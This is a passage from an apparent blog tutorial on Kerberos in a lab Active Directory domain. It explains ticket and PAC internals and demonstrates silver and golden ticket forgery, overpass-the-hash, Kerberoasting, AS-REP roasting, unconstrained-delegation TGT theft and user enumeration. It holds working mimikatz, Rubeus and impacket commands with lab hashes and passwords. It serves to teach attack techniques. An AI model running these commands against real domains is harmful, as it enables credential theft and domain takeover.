  7. key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
  8. mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
  9. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
  10. dec = decoder.decode(jnk)[0]
  11. print "------------------- Ticket Data ------------------"
  12. print dec
  13.  
  14. pacData = dec['field-9'][0]['field-1']
  15. decAuthData = decoder.decode(pacData)[0][0]['field-1']
  16. pacBuffers = PACTYPE(str(decAuthData))
  17. pacBuffer = pacBuffers['Buffers']
  18. pacBufferHex = hexlify(pacBuffer)
  19. dword = 8
  20. buff = []
  21. for i in range(0,32,dword):
  22. buffstr = pacBufferHex[i:i+dword]
  23. buffint = int(buffstr,16)
  24. buffstr = hexlify(struct.pack('<L',buffint))
  25. buffint = int(buffstr,16)
  26. buff.append(buffint)
  27.  
  28. pacInfoList = buff
  29. authDataLength = pacInfoList[1]
  30. authDataOffset = pacInfoList[2]
  31. authDataEnd = (authDataLength * 2) - 40
  32. offsetStart = 24 + authDataOffset*2
  33. authDataHex = pacBufferHex[offsetStart:offsetStart+authDataEnd]
  34. print "------------------- PAC Data ------------------"
  35. finalValidationInfo = VALIDATION_INFO()
  36. finalValidationInfo.fromStringReferents(unhexlify(authDataHex))
  37. finalValidationInfo.dump()

Output is

  1. VALIDATION_INFO
  2. CommonHeader:
  3. Version: 1
  4. Endianness: 16
  5. CommonHeaderLength: 8
  6. Filler: 3435973836
  7. PrivateHeader:
  8. ObjectBufferLength: 0
  9. Filler: 3435973836
  10. Data:
  11. LogonTime:
  12. dwLowDateTime: 2905707874
  13. dwHighDateTime: 30808641
  14. LogoffTime:
  15. dwLowDateTime: 4294967295
  16. dwHighDateTime: 2147483647
  17. KickOffTime:
  18. dwLowDateTime: 4294967295
  19. dwHighDateTime: 2147483647
  20. PasswordLastSet:
  21. dwLowDateTime: 3611792846
  22. dwHighDateTime: 30806234
  23. PasswordCanChange:
  24. dwLowDateTime: 28399054
  25. dwHighDateTime: 30806436
  26. PasswordMustChange:
  27. dwLowDateTime: 3433108942
  28. dwHighDateTime: 30814683
  29. EffectiveName: u'win10user'
  30. FullName: u''
  31. LogonScript: u''
  32. ProfilePath: u''
  33. HomeDirectory: u''
  34. HomeDirectoryDrive: u''
  35. LogonCount: 79
  36. BadPasswordCount: 0
  37. UserId: 1104
  38. PrimaryGroupId: 513
  39. GroupCount: 1
  40. GroupIds:
  41. [
  42.  
  43. RelativeId: 513
  44. Attributes: 7 ,
  45. ]
  46. UserFlags: 32
  47. UserSessionKey:
  48. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  49. LogonServer: u'DC'
  50. LogonDomainName: u'JNKFO'
  51. LogonDomainId:
  52. Revision: 1
  53. SubAuthorityCount: 4
  54. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
  55. SubAuthority:
  56. [
  57. 21,
  58. 3178339118,
  59. 3033626349,
  60. 2532976716,
  61. ]
  62. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
  63. UserAccountControl: 16
  64. SubAuthStatus: 0
  65. LastSuccessfulILogon:
  66. dwLowDateTime: 0
  67. dwHighDateTime: 0
  68. LastFailedILogon:
  69. dwLowDateTime: 0
  70. dwHighDateTime: 0
  71. FailedILogonCount: 0
  72. Reserved3: 0
  73. SidCount: 1
  74. ExtraSids:
  75. [
  76.  
  77. Sid:
  78. Revision: 1
  79. SubAuthorityCount: 1
  80. IdentifierAuthority: '\x00\x00\x00\x00\x00\x12'
  81. SubAuthority:
  82. [
  83. 1,
  84. ]
  85. Attributes: 7 ,
  86. ]
  87. ResourceGroupDomainSid: NULL
  88. ResourceGroupCount: 0
  89. ResourceGroupIds: NULL

It’s up to the service to use this information to validate the user’s privileges, impersonate, or delegate the logged-on user.
As you also noticed earlier, the PAC can be found only on the TGT and the TGS, mean that in the 1st case it’s encrypted with the krbtgt key, and the other it’s encrypted using the service key.
So there is no way for the user to manipulate the PAC without getting any of these couple keys, this will come handy later.
PAC is rarely required to validate the TGS data.
if it was used for validation, an extra request is made by the server to the KDC to validate the ticket’s info.

You can obtain any user’s PAC using
python getPac.py -targetUser administrator jnkfo.lab/win10user:”P@ssw0rd”

 

 

or using Kekeo

  1. tgt::ask /user:win10user@jnkfo.lab /password:P@ssw0rd
  2. tgs::s4u /tgt:TGT_win10user@jnkfo.lab@JNKFO.LAB_krbtgt~jnkfo.lab@JNKFO.LAB.kirbi /user:administrator /pac

Kerberos attacks

Silver ticket

If you noticed the Kerberos authentication flow, you should have noticed that we split it into 2 parts summarized in the following image

 

2020-04-28_20-26-20-copy.jpg

The 1st part, Client <—> KDC
This part resulted in the Client has a copy of the TGS which is encrypted using the service’s key along with the plaintext
  • Service session key
  • Timestamp
  • Lifetime
  • Service name

The 2nd part, Client <–> Service, This is the more interesting part for the silver ticket.
To authenticate to the service, the client sends a copy of the TGS which is encrypted using the service key as prementioned (Message E) and contains

  • Service session key
  • Username
  • Timestamp
  • Lifetime
  • PAC information

and the authenticator message (message G) which is encrypted using the Service session key and contains

  • username
  • Timestamp

So the actual service authentication part starts at step 5, and all it’s needed is the service secret key.
if you have a service secret key, you may just create a random session key, add it to your own Service ticket, encrypt it with the service’s secret, and send it to the service while authenticating.
As all the service will do is just trying to decrypt that ticket with its own key, which will work because it’s the same key you used while encrypting the ticket, then use the session key (which you generated) to decrypt the authenticator message as prementioned!
That’s how easy it’s
A demo will make it easier, I have win10 machine key, will use it to create a silver ticket to access it without even making a single connection to the KDC!

 

27.png

This is the current tickets in that session, and am getting access denied whenever accessing SMB over my machine.

To create ticket I will use mimikatz

kerberos::golden /user:administrator /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /target:win10.jnkfo.lab /rc4:1ad9c160bd7ab9cb4b7c890c96862305 /service:cifs

  • user: Username, this can be any user, even invalid one will work.
  • domain: The domain name
  • sid: Domain sid, can be obtained via many methods, whoami /user is one.
  • target: Target machine
  • rc4: NTLM hash of the target service
  • Service: The service name, cifs as am accessing filesharing service

Executing this will result in

 

28.png

and no Kerberos packets are sent to the KDC, as you don’t need to talk to KDC at all, You got your own TGS and that’s all.

 

29.png

So you’ll find that only the ticket and authenticator were sent directly to the target machine.

If you checked the ticket’s PAC you’ll find

  1. VALIDATION_INFO
  2. CommonHeader:
  3. Version: 1
  4. Endianness: 16
  5. CommonHeaderLength: 8
  6. Filler: 3435973836
  7. PrivateHeader:
  8. ObjectBufferLength: 0
  9. Filler: 3435973836
  10. Data:
  11. LogonTime:
  12. dwLowDateTime: 3283888000
  13. dwHighDateTime: 30809500
  14. LogoffTime:
  15. dwLowDateTime: 4294967295
  16. dwHighDateTime: 2147483647
  17. KickOffTime:
  18. dwLowDateTime: 4294967295
  19. dwHighDateTime: 2147483647
  20. PasswordLastSet:
  21. dwLowDateTime: 4294967295
  22. dwHighDateTime: 2147483647
  23. PasswordCanChange:
  24. dwLowDateTime: 4294967295
  25. dwHighDateTime: 2147483647
  26. PasswordMustChange:
  27. dwLowDateTime: 4294967295
  28. dwHighDateTime: 2147483647
  29. EffectiveName: u'administrator'
  30. FullName: NULL
  31. LogonScript: NULL
  32. ProfilePath: NULL
  33. HomeDirectory: NULL
  34. HomeDirectoryDrive: NULL
  35. LogonCount: 0
  36. BadPasswordCount: 0
  37. UserId: 500
  38. PrimaryGroupId: 513
  39. GroupCount: 5
  40. GroupIds:
  41. [
  42.  
  43. RelativeId: 513
  44. Attributes: 7 ,
  45.  
  46. RelativeId: 512
  47. Attributes: 7 ,
  48.  
  49. RelativeId: 520
  50. Attributes: 7 ,
  51.  
  52. RelativeId: 518
  53. Attributes: 7 ,
  54.  
  55. RelativeId: 519
  56. Attributes: 7 ,
  57. ]
  58. UserFlags: 0
  59. UserSessionKey:
  60. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  61. LogonServer: NULL
  62. LogonDomainName: u'JNKFO'
  63. LogonDomainId:
  64. Revision: 1
  65. SubAuthorityCount: 4
  66. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
  67. SubAuthority:
  68. [
  69. 21,
  70. 3178339118,
  71. 3033626349,
  72. 2532976716,
  73. ]
  74. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
  75. UserAccountControl: 528
  76. SubAuthStatus: 0
  77. LastSuccessfulILogon:
  78. dwLowDateTime: 0
  79. dwHighDateTime: 0
  80. LastFailedILogon:
  81. dwLowDateTime: 0
  82. dwHighDateTime: 0
  83. FailedILogonCount: 0
  84. Reserved3: 0
  85. SidCount: 0
  86. ExtraSids: NULL
  87. ResourceGroupDomainSid: NULL
  88. ResourceGroupCount: 0
  89. ResourceGroupIds: NULL #

The userid: 500, which is the default local administrator account’s id, and the domain admins group id 512.
So basically the ticket will tell the service that you have an admin’s account over the machine, no matter what username you used.

Golden ticket

Back to the same figure

 

2020-04-28_20-26-20-copy.jpg

The golden ticket is all about the TGT, if you remember, the TGT (Message B) is the info needed by the KDC to issue you the service ticket you need.
If a user with a valid TGT asks to access any service, KDC ill grant him that access.

Golden ticket attack takes part in step 3 (TGS-REQ).
The TGT is encrypted using the KRBTGT account, KDC will decrypt this and issue the service ticket with the same group memberships and validation info found in the TGT.
So, if you have the KRBTGT hash, you can forge your own TGT which includes the PAC data with any group membership you want! including domain admins!
sending this to the KDC will result in a service ticket with a domain admin group membership inside!

let’s give this a try using mimikatz

kerberos::golden /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /rc4:53de9e86989349da8d705da4e238dede /user:invalidusername /ticket:golden.kirbi /ptt

No new options here just removed the /service option used in the silver ticket.

I will try to dir the c$ on the domain controller which requires a domain admin to do so.

 

30.png

You will notice that the TGS-REQ and TGS-REP messages were sent and received to and from the KDC before moving to the target machine, and that’s a difference between the silver and golden ticket
in the golden ticket you’re not restricted to a single service, you got the KRBTGT, you can create your own TGT, so you can create a TGS for whatever service you want

 

31.png

If we viewed the ticket’s contents we will find the following PAC inside

  1. CommonHeader:
  2. Version: 1
  3. Endianness: 16
  4. CommonHeaderLength: 8
  5. Filler: 3435973836
  6. PrivateHeader:
  7. ObjectBufferLength: 0
  8. Filler: 3435973836
  9. Data:
  10. LogonTime:
  11. dwLowDateTime: 2159116928
  12. dwHighDateTime: 30809507
  13. LogoffTime:
  14. dwLowDateTime: 4294967295
  15. dwHighDateTime: 2147483647
  16. KickOffTime:
  17. dwLowDateTime: 4294967295
  18. dwHighDateTime: 2147483647
  19. PasswordLastSet:
  20. dwLowDateTime: 4294967295
  21. dwHighDateTime: 2147483647
  22. PasswordCanChange:
  23. dwLowDateTime: 4294967295
  24. dwHighDateTime: 2147483647
  25. PasswordMustChange:
  26. dwLowDateTime: 4294967295
  27. dwHighDateTime: 2147483647
  28. EffectiveName: u'invalidusername'
  29. FullName: NULL
  30. LogonScript: NULL
  31. ProfilePath: NULL
  32. HomeDirectory: NULL
  33. HomeDirectoryDrive: NULL
  34. LogonCount: 0
  35. BadPasswordCount: 0
  36. UserId: 500
  37. PrimaryGroupId: 513
  38. GroupCount: 5
  39. GroupIds:
  40. [
  41.  
  42. RelativeId: 513
  43. Attributes: 7 ,
  44.  
  45. RelativeId: 512
  46. Attributes: 7 ,
  47.  
  48. RelativeId: 520
  49. Attributes: 7 ,
  50.  
  51. RelativeId: 518
  52. Attributes: 7 ,
  53.  
  54. RelativeId: 519
  55. Attributes: 7 ,
  56. ]
  57. UserFlags: 0
  58. UserSessionKey:
  59. Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  60. LogonServer: NULL
  61. LogonDomainName: u'JNKFO'
  62. LogonDomainId:
  63. Revision: 1
  64. SubAuthorityCount: 4
  65. IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
  66. SubAuthority:
  67. [
  68. 21,
  69. 3178339118,
  70. 3033626349,
  71. 2532976716,
  72. ]
  73. LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00'
  74. UserAccountControl: 528
  75. SubAuthStatus: 0
  76. LastSuccessfulILogon:
  77. dwLowDateTime: 0
  78. dwHighDateTime: 0
  79. LastFailedILogon:
  80. dwLowDateTime: 0
  81. dwHighDateTime: 0
  82. FailedILogonCount: 0
  83. Reserved3: 0
  84. SidCount: 0
  85. ExtraSids: NULL
  86. ResourceGroupDomainSid: NULL
  87. ResourceGroupCount: 0
  88. ResourceGroupIds: NULL #

Note the userid: 500, which is the default local administrator account, and the domain admins group id 512.

KDC will send this info with the TGS to the client, who will send in turn to the service while accessing.

Now by knowing about the timestamp and the lifetime of the ticket along with the info that KRBTGT account pasword isn’t usually changed frequently in AD environments, can you figure out why the golden ticket is considered as long term persistence method?

Overpass the hash

In some cases, if you got the user’s hash you may not be able to crack it or use it in pass the hash attack for many reasons.
example: disabled ntlm authentication

 

34.png

In this case, if you used the pass the hash technique
sekurlsa::pth /user:win10user /domain:jnkfo.lab /ntlm:e19ccf75ee54e06b06a5907af13cef42
and tried accessing the machine directly, You’ll fail

 

32.png

But knowing how Kerberos works, you know that by having the user’s key you may just go through the whole Kerberos authentication process.
Without bothering using the NTLM challenge-response auth.
The attack was implemented in mimikatz already and can be used also via impacket examples
To use it via mimikatz, all you will need to do is connecting to the target’s hostname instead of the direct IP, this will force Windows to use Kerberos instead of NTLM auth (Remember?!!!).

 

33.png

Obviously, overpass the hash take place since the AS-REQ step.
That’s how easy it’s

Kerbroasting

I mentioned earlier, that Kerberos authentication itself is all about authentication, not authorization
If you got a valid domain user, you may just ask the KDC to issue you a valid TGS for any service.
Knowing the fact that SPN attributes can be set to a specific username, and that the TGS is encrypted using service’s key (user’s key in that case)
We can issue a TGS ticket on our own machine, dump the ticket and start an offline bruteforce attack against it to retrieve the plaintext password for that user (service account)!

This has been discussed already at the following blog post

Let’s go through the process manually, I will connect to mssql service at win2012.jnkfo.lab and view the list after establishing the connection

 
k1.png

The current user, win10user has no privs at the MSSQL DBS at all, and actually, we don’t need that as I mentioned Kerberos is all about authentication, so even low privs valid user will be able to issue a TGS for any service.
That’s one way to do it, but it’s not practical, so let’s check out a better one using only native windows stuff.
Listing the SPNs related to that machine will result in

  1. C:\Users\win10user>setspn -F -Q */win2012*
  2. Checking forest DC=jnkfo,DC=lab
  3. CN=WIN2012,CN=Computers,DC=jnkfo,DC=lab
  4. WSMAN/win2012
  5. WSMAN/win2012.jnkfo.lab
  6. RestrictedKrbHost/WIN2012
  7. HOST/WIN2012
  8. RestrictedKrbHost/win2012.jnkfo.lab
  9. HOST/win2012.jnkfo.lab
  10. CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab
  11. MSSQLSvc/win2012.jnkfo.lab:1433
  12. CN=dummy1,CN=Users,DC=jnkfo,DC=lab
  13. mssqlsvc/win2012
  14. xxxxx/win2012
  15.  
  16. Existing SPN found!
  17.  
  18. C:\Users\win10user>

As an attacker you will need to focus on the CN=users part, these are the crackable ones as their passwords are chooses by humans unlike the randomly generated machine keys.
Issue ticket for mssqlserver’s SPN using

  1. Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList "MSSQLSvc/win2012.jnkfo.lab:1433"

 

 

k3.png

So dumping the current ticket using kerberos::list /export will result in

 

k4.png

knowing that the ticket is encrypted using service key, you’re ready to go and start offline cracking, for sake of illustration am using john

 

k5.png

Cool, again this isn’t the best approach for Kerbroasting (when it come to simplicity), invoke-kerbroast would do everything in a blink of an eye, but I just needed to show you how the process is done.
Refer to the following blog post for more information and references regarding Kerbroasting.

AS-REP Roasting

Before Kerberos 5, you wouldn’t see something such as KRB5KDC_ERR_PREAUTH_REQUIRED, as the preauthentication step wasn’t required.
Things were a little bit different.
In kerberos5 this is how the 1st few steps of authentication are done

 

roast1.jpg

The preauthentication step is required, means the client is the part who’s using the user’s hash to encrypt the timestamp.
This is the default option in Kerberos 5

But in kerberos4, and also in Kerberos 5 after modifying some options, this is what’s going on.

 
roast2.jpg

Once the client ask for authentication and provides username, the KDC retrieve that user’s hash and use it to encrypt a message, then send this message back to the client!!!!!
Now the client ca simply start an offline brute-force attack against that encrypted part.
This happens in Kerberos 5 (modern AD) when the following option is enabled

 

35.png

The “Do not require Kerberos preauthentication” option isn’t enabled by default, but once it’s ticked, this is what’s happening when you login using that user

 

36.png

No preauthentication requests, the KDC just encrypted the timestamp, TGS name, TGS session key, and lifetime using user’s hash.
Now the attacker can simply do an offline brute-force and retrieve the user’s plaintext password.

It’s easy to get the users with “Do not require Kerberos preauthentication” enabled using

  1. get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True"} | select Name

 

37.png

Attacking these users is easy using Rubeus or using getnpusers.py
getnpusers.py can use a wordlist of usernames and try to obtain a crackable hashes for these users with the “Do not require Kerberos preauthentication” option enabled.

  1. python GetNPUsers.py jnkfo.lab/ -usersfile userslist.txt -format john -outputfile roasted.txt -no-pass -dc-ip 192.168.18.2

 

38.png

Unconstrained Delegation

Delegation is the act of Service impersonating User to access another Service

Imagine a web application is used to manage shared folders for employees,
The employee logs in and he can view, edit, or delete his files which are found in another server.

 

40.png

So, Employee 1 login to the Web server using the HTTP service ticket,
Now the Web application needs to access the File sharing server as Employee 1 to receive his files!
To do so, it needs to get a TGS for the File sharing service, But with Employee1’s username inside!
That’s where delegation plays a part.

When enabled, delegation allows employee 1 to send his own TGT to the webserver, so the web service can use it to obtain a TGS on behave of employee 1 to access the file sharing service.
The same goes for employees 2, 3, 4 …ETC

Knowing so, once you compromise a machine with delegation option enabled

 

42.png

You can dump the TGTs of the users who used any service on that machine, then abuse these TGTs to act on behave of these users.
getting employee1’s TGT will allow you to issue a TGS for any service on behave of employee1, and so accessing the services he has access to.

The TGT transferring part was a little bit confusing for me, many resources declared that it’s “inside” the TGS, which I found out it’s not correct at all.
Many others just stating that the TGT and the TGS are being passed to the server, which isn’t enough info!!
so I will explain it as well, maybe someone is looking for it the same as I did.

This is how it looks like when connecting to a machine configured for unconstrained delegation

 

You will notice 2 TGS-REQ,
The 1st 1 is for the service we’re trying to access (CIFS)

 

48.png

The other one is for the krbtgt

 

49.png

This is the one that the server will be able to use, it’s for getting services tickets on behalf of the user.

The client will take the krbtgt TGS and embed it inside the authenticator message.
I assume you remember how the authenticator is encrypted and decrypted.
It’s encrypted using the service session key, which can be found inside the TGS, which can only be decrypted using the service account’s key.
So the client will send the 1st TGS-REP, which is the service ticket
And the Authenticator message which has the 2nd TGS-REP (TGT) inside.
The service will decrypt the TGS, obtain service session key, then use the service session key to decrypt the authenticator message and obtain the user’s TGT [krb_cred].
It caches it then for later use.
This can be summarized in the following pic, which takes place after the 1st TGS-REP received

 

50.png

2nd TGS-REP message (TGT) is

  1. 005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5

Authenticator message after decryption is

  1. Sequence:
  2. field-0=5
  3. field-1=JNKFO.LAB
  4. field-2=Sequence:
  5. field-0=1
  6. field-1=SequenceOf:
  7. win10user
  8.  
  9. field-3=Sequence:
  10. field-0=32771
  11. field-1=0x10000000000000000000000000000000000000002300000001001a057682051630820512a003020105a103020116a282040730820403618203ff308203fba003020105a10b1b094a4e4b464f2e4c4142a21e301ca003020102a11530131b066b72627467741b094a4e4b464f2e4c4142a38203c5308203c1a003020112a103020103a28203b3048203af005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5a381fa3081f7a003020112a281ef0481ec6556782acbf0b4f78002c3af3a7ecf35e7a18aad30a52603763b8cf600f5eb6fc830afb3e6c61f694158b5a5209059b61a9a16f4c8dcc1191a3b188ac766c0d613af144454d0682063ceb3f4ab07b0cdee1354d37f3b6ff88fee70321c6d57ded89c6efc6f92af5cac42525730636b253d0b8a357183dbfc09d0d8ca75da7ecdaee3574c50bc31b54a2c0b3139e92d5c973cd26a8fb7581d479d74cbee5f552bb6c7a791bdf8ef575646d16af7f3134282d5edbc0272c53da2887af0dce6ba2935d237a9a26eef4df3720ffa7154970a0de4aafa16a5b8c43e33303ac0c52eb78c05d0c0f8b11546c9f672dc
  12.  
  13. field-4=468
  14. field-5=20200501014535Z
  15. field-6=Sequence:
  16. field-0=18
  17. field-1=0x52852d5447e40ee95df24c67e8400cf79f1146df958d29d3205fe8689a55325c
  18.  
  19. field-7=900366966
  20. field-8=SequenceOf:
  21. Sequence:
  22. field-0=1
  23. field-1=0x3081b9303fa0040202008da137043530333031a003020100a12a0428010000000020000047a9dfdb7f739b0e5720ff9a17c3534c94c937ef0b55329c007b8ce1204dfac3301aa0040202008ea1120410a01978ab0a0200002b9d850300000000300ea0040202008fa106040400400000304aa00402020090a142044063006900660073002f00770069006e0032003000310032002e006a006e006b0066006f002e006c006100620040004a004e004b0046004f002e004c0041004200

You will find that the KRB_CRED is embedded inside

  1. The authenticator checksum field SHALL have the following format:
  2.  
  3. Octet Name Description
  4. -----------------------------------------------------------------
  5. 0..3 Lgth Number of octets in Bnd field; Represented
  6. in little-endian order; Currently contains
  7. hex value 10 00 00 00 (16).
  8. 4..19 Bnd Channel binding information, as described in
  9. section 4.1.1.2.
  10. 20..23 Flags Four-octet context-establishment flags in
  11. little-endian order as described in section
  12. 4.1.1.1.
  13. 24..25 DlgOpt The delegation option identifier (=1) in
  14. little-endian order [optional]. This field
  15. and the next two fields are present if and
  16. only if GSS_C_DELEG_FLAG is set as described
  17. in section 4.1.1.1.
  18. 26..27 Dlgth The length of the Deleg field in
  19. little-endian order [optional].
  20. 28..(n-1) Deleg A KRB_CRED message (n = Dlgth + 28)
  21. [optional].
  22. n..last Exts Extensions [optional].

Reference

So assuming I compromised the machine win2012.jnkfo.lab, you will be able to dump all the TGTs Not just for the users who accessed the web service, but for any user who accessed any service used within the machine (web server).
This can be done via mimikatz sekurlsa::tickets /export

 

43.png

or using .\Rubeus.exe monitor /interval:1

 

44.png

To abuse this you can use kerberos::ptt ticket.kirbi at your attacking machine
So am using this to try accessing windows 10 machine, this pic show the action before and after passing the ticket.

 

45.png

Constrained delegation

To be discussed in a separated blog post

User enumeration

If you tried authenticating using invalid username, Kerberos will kill the process in the preauthentication step and you will get the following error

 

54.png

You can depend on that for enumerating domain users without even being part of the domain!
Practically this is very useful in many situations, as all you need is being able to connect to the KDC.

 

55.png

You can get the valid usernames which would save you tons of rime while bruteforcing services, along with the users with no preauth required.
That would give you a good foothold in many situations.

Conclusion

Woooo, finally it’s over.
I supposed to separate this blog into 2 or 3 parts but found out that it may be better to put as much as techniques as I can into a single post in order not to get lost between many parts related to the same topic.
